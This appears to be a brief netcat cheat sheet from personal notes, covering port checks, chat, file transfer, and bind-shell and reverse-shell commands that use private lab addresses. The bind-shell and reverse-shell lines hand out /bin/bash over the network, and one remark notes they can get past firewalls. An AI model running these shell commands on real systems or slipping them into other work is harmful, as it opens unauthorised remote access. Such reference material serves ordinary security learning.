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Netcat

Is Open Port​

nc -v huakunshen.com 80
nc -nv 192.168.1.66 80		# -n for skipping DNS name resolution

Chat​

nc -nlvp 4444				# machine 1: listening on port 4444
nc -nv 192.168.1.63 4444	# machine 2: connect to machine 1

File Transfer​

nc -nlvp 4444 > incoming.exe		# listening for data and pipe to a file
nc -nv 192.168.1.63 4444 < wget.exe

Bind Shell​

nc -nlvp 4444 -e /bin/bash			# listening for connection, whoever connected get my shell
nc -nv 192.168.105.128 4444			# connect and use the given shell

Reverse Shell​

bypass firewall if firewall doesn't allow output flow

nc -nlvp 4444								# waiting for a reverse shell
nc -nv 192.168.1.63 4444 -e /bin/bash		# send my shell